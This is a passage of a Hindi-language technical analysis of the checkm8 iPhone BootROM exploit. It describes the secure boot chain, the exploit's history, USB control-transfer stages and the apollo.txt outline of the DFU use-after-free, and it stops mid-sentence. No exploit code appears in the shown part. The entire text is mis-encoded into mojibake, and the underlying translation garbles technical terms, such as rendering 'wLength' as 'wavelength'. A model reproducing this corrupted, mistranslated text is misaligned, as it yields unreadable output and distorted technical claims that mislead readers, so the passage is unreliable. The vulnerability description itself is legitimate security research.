рдЪреЗрдХрдо 8 рд╢реЛрд╖рдг рдХрд╛ рддрдХрдиреАрдХреА рд╡рд┐рд╢реНрд▓реЗрд╖рдг


рд╕рдмрд╕реЗ рдЕрдзрд┐рдХ рд╕рдВрднрд╛рд╡рдирд╛ рд╣реИ рдХрд┐ рдЖрдкрдиреЗ рдкрд╣рд▓реЗ рд╕реЗ рд╣реА рдкреНрд░рд╕рд┐рджреНрдз рдХрд╛рд░рдирд╛рдо рдЪреЗрдХрдо 8 рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рд╕реБрдирд╛ рд╣реИ, рдЬреЛ рдХрд┐ iPhone X рд╕рд╣рд┐рдд рдЕрдзрд┐рдХрд╛рдВрд╢ iDevices рдХреЗ BootROM рдореЗрдВ BootROM рднреЗрджреНрдпрддрд╛ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддрд╛ рд╣реИред рдЗрд╕ рд▓реЗрдЦ рдореЗрдВ, рд╣рдо рдЗрд╕ рд╢реЛрд╖рдг рдХрд╛ рдПрдХ рддрдХрдиреАрдХреА рд╡рд┐рд╢реНрд▓реЗрд╖рдг рдкреНрд░рджрд╛рди рдХрд░реЗрдВрдЧреЗ рдФрд░ рдпрд╣ рдкрддрд╛ рд▓рдЧрд╛рдПрдВрдЧреЗ рдХрд┐ рднреЗрджреНрдпрддрд╛ рдХреНрдпрд╛ рд╣реИред


рдЖрдк рдпрд╣рд╛рдВ рд░реВрд╕реА рд╕рдВрд╕реНрдХрд░рдг рдкрдврд╝ рд╕рдХрддреЗ рд╣реИрдВред


рдкрд░рд┐рдЪрдп


рд╕рдмрд╕реЗ рдкрд╣рд▓реЗ, рдЖрдЗрдП рд╕рдВрдХреНрд╖реЗрдк рдореЗрдВ рдПрдХ iDevice рдХреА рдмреВрдЯрд┐рдВрдЧ рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдХрд╛ рд╡рд░реНрдгрди рдХрд░реЗрдВ рдФрд░ рдЗрд╕рдореЗрдВ рднреВрдорд┐рдХрд╛ BootROM (рдЙрд░реНрдл SecureROM ) рдирд┐рднрд╛рддрд╛ рд╣реИред рдЗрд╕рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рд╡рд┐рд╕реНрддреГрдд рдЬрд╛рдирдХрд╛рд░реА рдпрд╣рд╛рдВ рдкрд╛рдИ рдЬрд╛ рд╕рдХрддреА рд╣реИ ред рдпрд╣рд╛рдБ рдмреВрдЯрд┐рдВрдЧ рдХреИрд╕рд╛ рджрд┐рдЦрддрд╛ рд╣реИ:



рдЬрдм рдбрд┐рд╡рд╛рдЗрд╕ рдЪрд╛рд▓реВ рд╣реЛрддрд╛ рд╣реИ, рддреЛ BootROM рдХреЛ рдкрд╣рд▓реЗ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред рдЗрд╕рдХреЗ рдореБрдЦреНрдп рдХрд╛рд░реНрдп рд╣реИрдВ:


  • рдкреНрд▓реЗрдЯрдлрд╝реЙрд░реНрдо рдЖрд░рдВрднреАрдХрд░рдг (рдЖрд╡рд╢реНрдпрдХ рдкреНрд▓реЗрдЯрдлрд╝реЙрд░реНрдо рд░рдЬрд┐рд╕реНрдЯрд░ рд╕реНрдерд╛рдкрд┐рдд рдХрд┐рдП рдЧрдП рд╣реИрдВ, CPU рдЖрд░рдВрднреАрдХреГрдд рд╣реИ, рдЖрджрд┐)
  • рдЕрдЧрд▓реЗ рдЪрд░рдг рдореЗрдВ рдирд┐рдпрдВрддреНрд░рдг рдХрд╛ рд╕рддреНрдпрд╛рдкрди рдФрд░ рд╕реНрдерд╛рдирд╛рдВрддрд░рдг
    • BootROM IMG3/IMG4 рдЫрд╡рд┐рдпреЛрдВ рдХреЗ рдкрд╛рд░реНрд╕рд┐рдВрдЧ рдХрд╛ рд╕рдорд░реНрдерди рдХрд░рддрд╛ рд╣реИ
    • BootROM рдореЗрдВ рдбрд┐рдХреНрд░рд┐рдкреНрдЯрд┐рдВрдЧ рдЫрд╡рд┐рдпреЛрдВ рдХреЗ рд▓рд┐рдП GID рдХреБрдВрдЬреА рддрдХ рдкрд╣реБрдВрдЪ рд╣реИ
    • рдЫрд╡рд┐ рд╕рддреНрдпрд╛рдкрди рдХреЗ рд▓рд┐рдП, BootROM рдореЗрдВ рдПрдХ рдЕрдВрддрд░реНрдирд┐рд╣рд┐рдд рд╕рд╛рд░реНрд╡рдЬрдирд┐рдХ Apple рдХреБрдВрдЬреА рдФрд░ рдЖрд╡рд╢реНрдпрдХ рдХреНрд░рд┐рдкреНрдЯреЛрдЧреНрд░рд╛рдлрд╝рд┐рдХ рдХрд╛рд░реНрдпрдХреНрд╖рдорддрд╛ рд╣реИ
  • рдбрд┐рд╡рд╛рдЗрд╕ рдХреЛ рдкреБрдирд░реНрд╕реНрдерд╛рдкрд┐рдд рдХрд░реЗрдВ рдпрджрд┐ рдЖрдЧреЗ рдмреВрдЯрд┐рдВрдЧ рд╕рдВрднрд╡ рдирд╣реАрдВ рд╣реИ ( Device Firmware Update , DFU )ред

BootROM рдХрд╛ рдЖрдХрд╛рд░ рдмрд╣реБрдд рдЫреЛрдЯрд╛ рд╣реИ рдФрд░ рдЗрд╕реЗ iBoot рдХрд╛ рд╣рд▓реНрдХрд╛ рд╕рдВрд╕реНрдХрд░рдг рдХрд╣рд╛ рдЬрд╛ рд╕рдХрддрд╛ iBoot , рдХреНрдпреЛрдВрдХрд┐ рд╡реЗ рдЕрдзрд┐рдХрд╛рдВрд╢ рд╕рд┐рд╕реНрдЯрдо рдФрд░ рд▓рд╛рдЗрдмреНрд░реЗрд░реА рдХреЛрдб рд╕рд╛рдЭрд╛ рдХрд░рддреЗ рд╣реИрдВред рд╣рд╛рд▓рд╛рдБрдХрд┐, iBoot рд╡рд┐рдкрд░реАрдд, BootROM рдХреЛ рдЕрдкрдбреЗрдЯ рдирд╣реАрдВ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред рдпрд╣ рдЖрдВрддрд░рд┐рдХ рд░реАрдб-рдУрдирд▓реА рдореЗрдореЛрд░реА рдореЗрдВ рдбрд╛рд▓рд╛ рдЬрд╛рддрд╛ рд╣реИ рдЬрдм рдХреЛрдИ рдбрд┐рд╡рд╛рдЗрд╕ рдирд┐рд░реНрдорд┐рдд рд╣реЛрддрд╛ рд╣реИред BootROM , рд╕реБрд░рдХреНрд╖рд┐рдд рдмреВрдЯ рд╢реНрд░реГрдВрдЦрд▓рд╛ рдХреЗ рднрд░реЛрд╕реЗ рдХрд╛ рд╣рд╛рд░реНрдбрд╡реЗрдпрд░ рд░реВрдЯ рд╣реИред BootROM рднреЗрджреНрдпрддрд╛ рдПрдХ рд╣рдорд▓рд╛рд╡рд░ рдХреЛ рдмреВрдЯ рдХрд░рдиреЗ рдХреА рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдХреЛ рдирд┐рдпрдВрддреНрд░рд┐рдд рдХрд░рдиреЗ рдФрд░ рдХрд┐рд╕реА рдбрд┐рд╡рд╛рдЗрд╕ рдкрд░ рдЕрд╣рд╕реНрддрд╛рдХреНрд╖рд░рд┐рдд рдХреЛрдб рдХреЛ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗ рд╕рдХрддреА рд╣реИред



Checkm8 рдХрд╛ рдЗрддрд┐рд╣рд╛рд╕


27 рд╕рд┐рддрдВрдмрд░, 2019 рдХреЛ checkm8 рд╢реЛрд╖рдг рдХреЛ рдЗрд╕рдХреЗ рд▓реЗрдЦрдХ axi0mX рджреНрд╡рд╛рд░рд╛ ipwndfu рдореЗрдВ рдЬреЛрдбрд╝рд╛ рдЧрдпрд╛ рдерд╛ред рд╕рд╛рде рд╣реА, рдЙрдиреНрд╣реЛрдВрдиреЗ рдЯреНрд╡рд┐рдЯрд░ рдкрд░ рдЕрдкрдбреЗрдЯ рдХреА рдШреЛрд╖рдгрд╛ рдХреА рдФрд░ рд╢реЛрд╖рдХ рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рд╡рд┐рд╡рд░рдг рдФрд░ рдЕрддрд┐рд░рд┐рдХреНрдд рдЬрд╛рдирдХрд╛рд░реА рдкреНрд░рджрд╛рди рдХреАред рд╕реВрддреНрд░ рдХреЗ рдЕрдиреБрд╕рд╛рд░, рдЙрдиреНрд╣реЛрдВрдиреЗ 2018 рдХреА рдЧрд░реНрдорд┐рдпреЛрдВ рдореЗрдВ iOS 12 beta рд▓рд┐рдП рдЖрдИ-рдмреВрдЯ рдХреЛ рдЕрд▓рдЧ рдХрд░рддреЗ рд╣реБрдП USB рдХреЛрдб рдореЗрдВ use-after-free рднреЗрджреНрдпрддрд╛ рдХреЛ рдкрд╛рдпрд╛ред
BootROM рдФрд░ iBoot USB рд╕рд╣рд┐рдд рдЙрдирдХреЗ рдЕрдзрд┐рдХрд╛рдВрд╢ рдХреЛрдб рд╕рд╛рдЭрд╛ рдХрд░рддреЗ рд╣реИрдВ, рдЗрд╕рд▓рд┐рдП рдпрд╣ рднреЗрджреНрдпрддрд╛ BootROM рд▓рд┐рдП рднреА рдкреНрд░рд╛рд╕рдВрдЧрд┐рдХ рд╣реИред


рд╢реЛрд╖рдг рдХреЗ рдХреЛрдб рд╕реЗ рдирд┐рдореНрдирд╛рдиреБрд╕рд╛рд░, DFU рдореЗрдВ рднреЗрджреНрдпрддрд╛ рдХрд╛ рд╢реЛрд╖рдг рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред рдпрд╣ рдПрдХ рдРрд╕реА рд╡рд┐рдзрд╛ рд╣реИ рдЬрд┐рд╕рдореЗрдВ рдХреЛрдИ USB рдорд╛рдзреНрдпрдо рд╕реЗ рдПрдХ рд╣рд╕реНрддрд╛рдХреНрд╖рд░рд┐рдд рдЫрд╡рд┐ рдХреЛ рдПрдХ рдЙрдкрдХрд░рдг рдореЗрдВ рд╕реНрдерд╛рдирд╛рдВрддрд░рд┐рдд рдХрд░ рд╕рдХрддрд╛ рд╣реИ рдЬрд┐рд╕реЗ рдмрд╛рдж рдореЗрдВ рдмреВрдЯ рдХрд┐рдпрд╛ рдЬрд╛рдПрдЧрд╛ред рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП, рдХрд┐рд╕реА рдЕрд╕рдлрд▓ рдЕрджреНрдпрддрди рдХреЗ рдмрд╛рдж рдбрд┐рд╡рд╛рдЗрд╕ рдХреЛ рдкреБрдирд░реНрд╕реНрдерд╛рдкрд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдпрд╣ рдЙрдкрдпреЛрдЧреА рд╣реЛ рд╕рдХрддрд╛ рд╣реИред


рдЙрд╕реА рджрд┐рди, рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рд▓рд┐рдЯрд┐рд▓реЗрд▓реЛ рдиреЗ рдХрд╣рд╛ рдХрд┐ рдЙрд╕рдиреЗ рдорд╛рд░реНрдЪ рдореЗрдВ рдЙрд╕ рднреЗрджреНрдпрддрд╛ рдХреЛ рд╡рд╛рдкрд╕ рдкрд╛рдпрд╛ рдерд╛ рдФрд░ apollo.txt рдореЗрдВ рдПрдХ рд╡рд┐рд╡рд░рдг рдкреНрд░рдХрд╛рд╢рд┐рдд рдХрд┐рдпрд╛ рдерд╛ ред рд╡рд┐рд╡рд░рдг checkm8 рд╕рд╛рде рдореЗрд▓ checkm8 , рд╣рд╛рд▓рд╛рдВрдХрд┐ рд╢реЛрд╖рдг рдХреЗ рд╕рднреА рд╡рд┐рд╡рд░рдг рдЗрд╕реЗ рдкрдврд╝рдиреЗ рдкрд░ рд╕реНрдкрд╖реНрдЯ рдирд╣реАрдВ рд╣реЛ рдЬрд╛рддреЗ рд╣реИрдВред рдпрд╣реА рдХрд╛рд░рдг рд╣реИ рдХрд┐ рд╣рдордиреЗ рдЗрд╕ рд▓реЗрдЦ рдХреЛ рд▓рд┐рдЦрдиреЗ рдХрд╛ рдлреИрд╕рд▓рд╛ рдХрд┐рдпрд╛ рдФрд░ BootROM рдореЗрдВ рдкреЗрд▓реЛрдб рдХреЗ рдирд┐рд╖реНрдкрд╛рджрди рддрдХ рд╢реЛрд╖рдг рдХреЗ рд╕рднреА рд╡рд┐рд╡рд░рдгреЛрдВ рдХрд╛ рд╡рд░реНрдгрди рдХрд┐рдпрд╛ред


рд╣рдордиреЗ рдЙрдкрд░реЛрдХреНрдд рдЙрд▓реНрд▓рд┐рдЦрд┐рдд рд╕рдВрд╕рд╛рдзрдиреЛрдВ рдФрд░ iBoot/SecureROM рдХреЗ рд╕реНрд░реЛрдд рдХреЛрдб рдкрд░ рд╣рдорд╛рд░реЗ рд╡рд┐рд╢реНрд▓реЗрд╖рдг рдХрд╛ рдЖрдзрд╛рд░ iBoot/SecureROM , рдЬреЛ рдлрд░рд╡рд░реА 2018 рдореЗрдВ рд▓реАрдХ рд╣реБрдЖ рдерд╛ред рд╣рдордиреЗ рдЕрдкрдиреЗ рдкрд░реАрдХреНрд╖рдг рдЙрдкрдХрд░рдг, iPhone 7 ( CPID:8010 рдкрд░ рдХрд┐рдП рдЧрдП рдкреНрд░рдпреЛрдЧреЛрдВ рд╕реЗ рдкреНрд░рд╛рдкреНрдд рдбреЗрдЯрд╛ рдХрд╛ рднреА рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдерд╛ред )ред checkm8 рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддреЗ checkm8 , рд╣рдореЗрдВ SecureROM рдФрд░ SecureRAM рдХреЗ рдбрдВрдк SecureRAM , рдЬреЛ рд╡рд┐рд╢реНрд▓реЗрд╖рдг рдХреЗ рд▓рд┐рдП рднреА рд╕рд╣рд╛рдпрдХ рдереЗред


USB рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рдЖрд╡рд╢реНрдпрдХ рдЬрд╛рдирдХрд╛рд░реА


рдЪреВрдВрдХрд┐ рднреЗрджреНрдпрддрд╛ USB рдХреЛрдб рдореЗрдВ рд╣реИ, рдЗрд╕рд▓рд┐рдП рдпрд╣ рд╕рдордЭрдирд╛ рдЖрд╡рд╢реНрдпрдХ рд╣реИ рдХрд┐ рдпрд╣ рдЗрдВрдЯрд░рдлрд╝реЗрд╕ рдХреИрд╕реЗ рдХрд╛рдо рдХрд░рддрд╛ рд╣реИред рдкреВрд░реНрдг рдЪрд╢реНрдорд╛ https://www.usb.org/ рдкрд░ рдкрд╛рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ, рд▓реЗрдХрд┐рди рдпрд╣ рдПрдХ рд▓рдВрдмрд╛ рдкрдврд╝рд╛ рд╣реИред рд╣рдорд╛рд░реЗ рдЙрджреНрджреЗрд╢реНрдпреЛрдВ рдХреЗ рд▓рд┐рдП, NutShell рдореЗрдВ USB рдкрд░реНрдпрд╛рдкреНрдд рд╕реЗ рдЕрдзрд┐рдХ рд╣реИред рдпрд╣рд╛рдВ, рд╣рдо рдХреЗрд╡рд▓ рд╕рдмрд╕реЗ рдкреНрд░рд╛рд╕рдВрдЧрд┐рдХ рдмрд┐рдВрджреБрдУрдВ рдХрд╛ рдЙрд▓реНрд▓реЗрдЦ рдХрд░реЗрдВрдЧреЗред


рд╡рд┐рднрд┐рдиреНрди рдкреНрд░рдХрд╛рд░ рдХреЗ USB рдбреЗрдЯрд╛ рдЯреНрд░рд╛рдВрд╕рдлрд░ рд╣реИрдВред DFU , рдХреЗрд╡рд▓ Control Transfers рдореЛрдб рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ (рдЗрд╕рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рдФрд░ рдЕрдзрд┐рдХ рдкрдврд╝реЗрдВ)ред рдЗрд╕ рдореЛрдб рдореЗрдВ, рдкреНрд░рддреНрдпреЗрдХ рд▓реЗрдирджреЗрди рдореЗрдВ 3 рдЪрд░рдг рд╣реЛрддреЗ рд╣реИрдВ:



  • Setup Stage - рдПрдХ SETUP рдкреИрдХреЗрдЯ рднреЗрдЬрд╛ рдЬрд╛рддрд╛ рд╣реИ; рдЗрд╕рдХреЗ рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рдХреНрд╖реЗрддреНрд░ рд╣реИрдВ:
    • bmRequestType - рдЕрдиреБрд░реЛрдз рдХреА рджрд┐рд╢рд╛, рдЙрд╕рдХреЗ рдкреНрд░рдХрд╛рд░ рдФрд░ рдкреНрд░рд╛рдкреНрддрдХрд░реНрддрд╛ рдХреЛ рдкрд░рд┐рднрд╛рд╖рд┐рдд рдХрд░рддрд╛ рд╣реИ
    • bRequest - рдХрд┐рдП рдЬрд╛рдиреЗ рдХреЗ рдЕрдиреБрд░реЛрдз рдХреЛ рдкрд░рд┐рднрд╛рд╖рд┐рдд рдХрд░рддрд╛ рд╣реИ
    • wValue , wIndex - рдЕрдиреБрд░реЛрдз рдХреЗ рдЖрдзрд╛рд░ рдкрд░ рд╡реНрдпрд╛рдЦреНрдпрд╛ рдХреА рдЬрд╛рддреА рд╣реИ
    • wLength - Data Stage рдореЗрдВ рднреЗрдЬреЗ рдЧрдП / рдкреНрд░рд╛рдкреНрдд рдбреЗрдЯрд╛ рдХреА рд▓рдВрдмрд╛рдИ рдХреЛ рдирд┐рд░реНрджрд┐рд╖реНрдЯ рдХрд░рддрд╛ рд╣реИ
  • Data Stage - рдбреЗрдЯрд╛ рдЯреНрд░рд╛рдВрд╕рдлрд░ рдХрд╛ рдПрдХ рд╡реИрдХрд▓реНрдкрд┐рдХ рдЪрд░рдгред Setup Stage рджреМрд░рд╛рди рднреЗрдЬреЗ рдЧрдП SETUP рдкреИрдХреЗрдЯ рдХреЗ рдЖрдзрд╛рд░ рдкрд░, рдбреЗрдЯрд╛ рдХреЛ рд╣реЛрд╕реНрдЯ рд╕реЗ рдбрд┐рд╡рд╛рдЗрд╕ ( OUT ) рдпрд╛ рдЗрд╕рдХреЗ рд╡рд┐рдкрд░реАрдд ( IN ) рдкрд░ рднреЗрдЬрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред рдбреЗрдЯрд╛ рдЫреЛрдЯреЗ рднрд╛рдЧреЛрдВ рдореЗрдВ рднреЗрдЬрд╛ рдЬрд╛рддрд╛ рд╣реИ ( Apple DFU рдорд╛рдорд▓реЗ рдореЗрдВ, рдпрд╣ 0x40 рдмрд╛рдЗрдЯреНрд╕ рд╣реИ)ред
    • рдЬрдм рдХреЛрдИ рд╣реЛрд╕реНрдЯ рдбреЗрдЯрд╛ рдХрд╛ рджреВрд╕рд░рд╛ рднрд╛рдЧ рднреЗрдЬрдирд╛ рдЪрд╛рд╣рддрд╛ рд╣реИ, рддреЛ рд╡рд╣ рдПрдХ OUT рдЯреЛрдХрди рдФрд░ рдЙрд╕рдХреЗ рдмрд╛рдж рдбреЗрдЯрд╛ рд╕реНрд╡рдпрдВ рднреЗрдЬрддрд╛ рд╣реИред
    • рдЬрдм рдХреЛрдИ рд╣реЛрд╕реНрдЯ рдбрд┐рд╡рд╛рдЗрд╕ рд╕реЗ рдбреЗрдЯрд╛ рдкреНрд░рд╛рдкреНрдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рддреИрдпрд╛рд░ рд╣реЛрддрд╛ рд╣реИ, рддреЛ рдпрд╣ рдбрд┐рд╡рд╛рдЗрд╕ рдХреЛ рдПрдХ IN рдЯреЛрдХрди рднреЗрдЬрддрд╛ рд╣реИред
  • Status Stage - рдЕрдВрддрд┐рдо рдЪрд░рдг; рдкреВрд░реЗ рд▓реЗрди-рджреЗрди рдХреА рд╕реНрдерд┐рддрд┐ рдмрддрд╛рдИ рдЧрдИ рд╣реИред
    • OUT рдЕрдиреБрд░реЛрдзреЛрдВ рдХреЗ рд▓рд┐рдП, рд╣реЛрд╕реНрдЯ рдПрдХ IN рдЯреЛрдХрди рднреЗрдЬрддрд╛ рд╣реИ, рдЬрд┐рд╕рдореЗрдВ рдбрд┐рд╡рд╛рдЗрд╕ рдХреЛ рд╢реВрдиреНрдп-рд▓рдВрдмрд╛рдИ рдкреИрдХреЗрдЯ рдХреЗ рд╕рд╛рде рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛ рдХрд░рдиреА рдЪрд╛рд╣рд┐рдПред
    • IN рдЕрдиреБрд░реЛрдзреЛрдВ рдХреЗ рд▓рд┐рдП, рд╣реЛрд╕реНрдЯ рдПрдХ OUT рдЯреЛрдХрди рдФрд░ рдПрдХ рд╢реВрдиреНрдп-рд▓рдВрдмрд╛рдИ рдкреИрдХреЗрдЯ рднреЗрдЬрддрд╛ рд╣реИред

рдиреАрдЪреЗ рджреА рдЧрдИ рдпреЛрдЬрдирд╛ OUT рдФрд░ IN рдЕрдиреБрд░реЛрдз рджрд┐рдЦрд╛рддреА рд╣реИред рд╣рдордиреЗ ACK , NACK , рдФрд░ рдЕрдиреНрдп рд╣реИрдВрдбрд╢реЗрдХ рдкреИрдХреЗрдЯреЛрдВ рдХреЛ рдЗрд╕ рдЙрджреНрджреЗрд╢реНрдп рд╕реЗ рдирд┐рдХрд╛рд▓рд╛, рдХреНрдпреЛрдВрдХрд┐ рд╡реЗ рд╢реЛрд╖рдг рдХреЗ рд▓рд┐рдП рдорд╣рддреНрд╡рдкреВрд░реНрдг рдирд╣реАрдВ рд╣реИрдВред



Apollo.txt рдХрд╛ рд╡рд┐рд╢реНрд▓реЗрд╖рдг


рд╣рдордиреЗ apollo.txt рд╕реЗ рднреЗрджреНрдпрддрд╛ рдХреЗ рд╕рд╛рде рд╡рд┐рд╢реНрд▓реЗрд╖рдг рд╢реБрд░реВ рдХрд┐рдпрд╛ред рджрд╕реНрддрд╛рд╡реЗрдЬрд╝ DFU рдореЛрдб рдХреЗ рдПрд▓реНрдЧреЛрд░рд┐рдереНрдо рдХрд╛ рд╡рд░реНрдгрди рдХрд░рддрд╛ рд╣реИ:


https://gist.github.com/littlelailo/42c6a11d31877f98531f6d30444f59c4
  1. рдЬрдм usf рдХреЛ dfu рдкрд░ рдПрдХ рдЫрд╡рд┐ рдкреНрд░рд╛рдкреНрдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рд╢реБрд░реВ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ, dfu рд╕рднреА рдХрдорд╛рдВрдб рдХреЛ рд╕рдВрднрд╛рд▓рдиреЗ рдХреЗ рд▓рд┐рдП рдПрдХ рдЗрдВрдЯрд░рдлрд╝реЗрд╕ рд░рдЬрд┐рд╕реНрдЯрд░ рдХрд░рддрд╛ рд╣реИ рдФрд░ рдЗрдирдкреБрдЯ рдФрд░ рдЖрдЙрдЯрдкреБрдЯ рдХреЗ рд▓рд┐рдП рдПрдХ рдмрдлрд░ рдЖрд╡рдВрдЯрд┐рдд рдХрд░рддрд╛ рд╣реИ
  2. рдпрджрд┐ рдЖрдк рдбреЗрдЯрд╛ рдХреЛ dfu рдореЗрдВ рднреЗрдЬрддреЗ рд╣реИрдВ рддреЛ рд╕реЗрдЯрдЕрдк рдкреИрдХреЗрдЯ рдореБрдЦреНрдп рдХреЛрдб рджреНрд╡рд╛рд░рд╛ рд╕рдВрднрд╛рд▓рд╛ рдЬрд╛рддрд╛ рд╣реИ рдЬреЛ рддрдм рдЗрдВрдЯрд░рдлрд╝реЗрд╕ рдХреЛрдб рдХреЛ рдХреЙрд▓ рдХрд░рддрд╛ рд╣реИ
  3. рдЗрдВрдЯрд░рдлрд╝реЗрд╕ рдХреЛрдб рдпрд╣ рдкреБрд╖реНрдЯрд┐ рдХрд░рддрд╛ рд╣реИ рдХрд┐ рддрд░рдВрдЧрджреИрд░реНрдзреНрдп рдЗрдирдкреБрдЯ рдЖрдЙрдЯрдкреБрдЯ рдмрдлрд░ рд▓рдВрдмрд╛рдИ рд╕реЗ рдЫреЛрдЯрд╛ рд╣реИ рдФрд░ рдпрджрд┐ рдРрд╕рд╛ рд╣реИ рддреЛ рдпрд╣ рдПрдХ рд╕рдВрдХреЗрддрдХ рдХреЛ рдЗрдирдкреБрдЯ рдЖрдЙрдЯрдкреБрдЯ рдмрдлрд░ рдХреЗ рд▓рд┐рдП рдПрдХ рд╕реВрдЪрдХ рдХреЗ рд╕рд╛рде рдПрдХ рддрд░реНрдХ рдХреЗ рд░реВрдк рдореЗрдВ рдЕрджреНрдпрддрди рдХрд░рддрд╛ рд╣реИред
  4. рдпрд╣ рддрдм рддрд░рдВрдЧрд┐рдд рд╣реЛрддрд╛ рд╣реИ рдЬреЛ рд╡рд╣ рд▓рдВрдмрд╛рдИ рд╣реИ рдЬреЛ рдмрдлрд░ рдореЗрдВ рдкреНрд░рд╛рдкреНрдд рдХрд░рдирд╛ рдЪрд╛рд╣рддрд╛ рд╣реИ
  5. usb рдореБрдЦреНрдп рдХреЛрдб рддрдм рд▓рдВрдмрд╛рдИ рдХреЗ рд╕рд╛рде рдПрдХ рд╡реИрд╢реНрд╡рд┐рдХ рд╕рдВрд╕реНрдХрд░рдг рдХреЛ рдЕрджреНрдпрддрди рдХрд░рддрд╛ рд╣реИ рдФрд░ рдбреЗрдЯрд╛ рд╕рдВрдХреБрд▓ рдХреЛ рдкреБрдирдГ рдкреНрд░рд╛рдкреНрдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рддреИрдпрд╛рд░ рд╣реЛ рдЬрд╛рддрд╛ рд╣реИ
  6. рдпрджрд┐ рдХреЛрдИ рдбреЗрдЯрд╛ рдкреИрдХреЗрдЬ рдкреНрд░рд╛рдкреНрдд рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ, рддреЛ рдпрд╣ рд╕реВрдЪрдХ рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдЗрдирдкреБрдЯ рдЖрдЙрдЯрдкреБрдЯ рдмрдлрд░ рдХреЛ рд▓рд┐рдЦрд╛ рдЬрд╛рддрд╛ рд╣реИ, рдЬрд┐рд╕реЗ рдПрдХ рддрд░реНрдХ рдХреЗ рд░реВрдк рдореЗрдВ рдкрд╛рд░рд┐рдд рдХрд┐рдпрд╛ рдЧрдпрд╛ рдерд╛ рдФрд░ рдПрдХ рд╡реИрд╢реНрд╡рд┐рдХ рдЧреНрд▓реЛрдм рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд┐рддрдиреЗ рдмрд╛рдЗрдЯреНрд╕ рдкрд░ рдирдЬрд╝рд░ рд░рдЦрдиреЗ рдХреЗ рд▓рд┐рдП рдХрд┐рдпрд╛ рдЧрдпрд╛ рдерд╛ред
  7. рдпрджрд┐ рд╕рднреА рдбреЗрдЯрд╛ рдХреЛ рдкреБрдирдГ рдкреНрд░рд╛рдкреНрдд рдХрд┐рдпрд╛ рдЧрдпрд╛ рдерд╛ рддреЛ dfu рд╡рд┐рд╢рд┐рд╖реНрдЯ рдХреЛрдб рдХреЛ рдлрд┐рд░ рд╕реЗ рдХреЙрд▓ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ рдФрд░ рдлрд┐рд░ рдЗрдирдкреБрдЯ рдЖрдЙрдЯрдкреБрдЯ рдмрдлрд░ рдХреА рд╕рд╛рдордЧреНрд░реА рдХреЛ рдореЗрдореЛрд░реА рд╕реНрдерд╛рди рдкрд░ рдХреЙрдкреА рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЬрд╛рддрд╛ рд╣реИ рдЬрд╣рд╛рдВ рд╕реЗ рдмрд╛рдж рдореЗрдВ рдЫрд╡рд┐ рдмреВрдЯ рдХреА рдЬрд╛рддреА рд╣реИ
  8. рдЙрд╕рдХреЗ рдмрд╛рдж usb рдХреЛрдб рд╕рднреА рд╡реЗрд░рд┐рдПрдмрд▓реНрд╕ рдХреЛ рд░реАрд╕реЗрдЯ рдХрд░рддрд╛ рд╣реИ рдФрд░ рдирдП рдкреИрдХреЗрдЬ рдХреЛ рд╣реИрдВрдбрд▓ рдХрд░рддрд╛ рд╣реИ
  9. рдЕрдЧрд░ dfu рдЗрдирдкреБрдЯ рдЖрдЙрдЯрдкреБрдЯ рдмрдлрд╝рд░ рд╕реЗ рдмрд╛рд╣рд░ рдирд┐рдХрд▓рддрд╛ рд╣реИ рдФрд░ рдпрджрд┐ рдЫрд╡рд┐ рдХрд╛ рдкрд╛рд░реНрд╕рд┐рдВрдЧ рдмреВрдЯреНрд░реЛрдо рд░реЗрдлрд╝рд░реНрд╕ рдбрдлрд╝реВ рдХреЛ рд╡рд┐рдлрд▓ рдХрд░рддрд╛ рд╣реИ

рд╕рдмрд╕реЗ рдкрд╣рд▓реЗ, рд╣рдордиреЗ iBoot рдХреЗ рд╕реНрд░реЛрдд рдХреЛрдб рдХреЗ рдЦрд┐рд▓рд╛рдл рдЗрди рдЪрд░рдгреЛрдВ рдХреА рдЬрд╛рдБрдЪ рдХреАред рд╣рдо рдпрд╣рд╛рдВ рд▓реАрдХ рд╣реБрдП рдХреЛрдб рдХреЗ рдЯреБрдХрдбрд╝реЛрдВ рдХрд╛ рдЙрдкрдпреЛрдЧ рдирд╣реАрдВ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ, рдЗрд╕рд▓рд┐рдП рд╣рдо IDA рдореЗрдВ рд╣рдорд╛рд░реЗ iPhone7 рдХреЗ SecureROM рдХреЛ рд░рд┐рд╡рд░реНрд╕ рдЗрдВрдЬреАрдирд┐рдпрд░рд┐рдВрдЧ рд╕реЗ рдкреНрд░рд╛рдкреНрдд SecureROM рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░реЗрдВрдЧреЗред рдЖрдк 